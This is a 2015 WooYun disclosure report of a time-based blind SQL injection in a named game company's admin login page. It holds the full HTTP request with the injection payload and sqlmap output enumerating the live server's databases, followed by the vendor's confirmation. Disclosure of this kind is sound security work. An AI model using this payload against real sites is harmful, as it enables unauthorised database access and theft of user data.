当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0117876

漏洞标题:酷牛某游戏后台盲注(root权限,百万数据)

相关厂商:szkuniu.com

漏洞作者: 聋子

提交时间:2015-06-03 09:42

修复时间:2015-07-18 14:02

公开时间:2015-07-18 14:02

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-06-03: 细节已通知厂商并且等待厂商处理中
2015-06-03: 厂商已经确认,细节仅向厂商公开
2015-06-13: 细节向核心白帽子及相关领域专家公开
2015-06-23: 细节向普通白帽子公开
2015-07-03: 细节向实习白帽子公开
2015-07-18: 细节向公众公开

简要描述:

礼物不重要,多给点rank撒,要换东西~

详细说明:

问题出在这里http://wap.szkuniu.com/admin/
抓个包

POST /admin/index.php?a=in&m=login HTTP/1.1
Content-Length: 167
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Referer: http://wap.szkuniu.com:80/
Cookie: PHPSESSID=ksdqif6irggbjr2b3r30s7jk64
Host: wap.szkuniu.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.63 Safari/537.36
Accept: */*
mobile=if(now()%3dsysdate()%2csleep(0)%2c0)/*'XOR(if(now()%3dsysdate()%2csleep(0)%2c0))OR'%22XOR(if(now()%3dsysdate()%2csleep(0)%2c0))OR%22*/&password=g00dPa%24%24w0rD


sqlmap跑一下

QQ截图20150603004002.jpg


QQ截图20150603004122.jpg


payment_prop_list 真的有百万哦
本着挖掘漏洞的原则,数据没有全部跑完,http://wap.szkuniu.com/admin/后台登陆也只是时间问题

漏洞证明:

QQ截图20150603004002.jpg


QQ截图20150603004122.jpg


没跑完的部分

[20:16:29] [INFO] adjusting time delay to 1 second due to good response times
39
[20:16:33] [INFO] retrieved: information_schema
[20:18:07] [INFO] retrieved: 54696_1
[20:18:42] [INFO] retrieved: 54696_2
[20:19:18] [INFO] retrieved: 54696_v2
[20:19:59] [INFO] retrieved: app_c
[20:20:32] [ERROR] invalid character detected. retrying..
[20:20:32] [WARNING] increasing time delay to 2 seconds
ity
[20:21:29] [INFO] retrieved: app_city_1
[20:23:04] [INFO] retrieved: app_city_2
[20:24:42] [INFO] retrieved: app_collocate
[20:26:48] [INFO] retrieved: app_collocate_1
[20:29:12] [INFO] retrieved: app_collocate_2
[20:31:37] [INFO] retrieved: app_consume
[20:33:25] [INFO] retrieved: app_consume_1
[20:35:30] [INFO] retrieved: app_consume
[20:37:22] [INFO] adjusting time delay to 1 second due to good response times
_2
[20:37:33] [INFO] retrieved: app_exploit_build
[20:39:10] [INFO] retrieved: app_exploit_build_1
[20:40:57] [INFO] retrieved: app_exploit_bu
[20:42:28] [ERROR] invalid character detected. retrying..
[20:42:28] [WARNING] increasing time delay to 2 seconds
ild_2
[20:43:15] [INFO] retrieved: app_hero
[20:44:39] [INFO] retrieved: app_hero_1
[20:46:18] [INFO] retrieved: app_hero_2
[20:47:59] [INFO] retrieved: app_soldiers
[20:49:56] [INFO] retrieved: app_soldiers_1
[20:52:10] [INFO] retrieved: app_soldiers_2
[20:54:26] [INFO] retrieved: app_state
[20:55:54] [INFO] retrieved: app_state_1
[20:57:38] [INFO] retrieved: app_stat
[20:59:01] [INFO] adjusting time delay to 1 second due to good response times
e_2
[20:59:16] [INFO] retrieved: app_task
[21:00:01] [INFO] retrieved: app_task_1


修复方案:

过滤

版权声明:转载请注明来源 聋子@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2015-06-03 14:00

厂商回复:

谢谢,我们尽快修复

最新状态:

暂无


漏洞评价:

评论

  1. 2015-06-03 14:15 | 聋子 ( 普通白帽子 | Rank:304 漏洞数:57 | 一个聋子)

    @szkuniu.com 走的小厂商么。。就4个rank,哎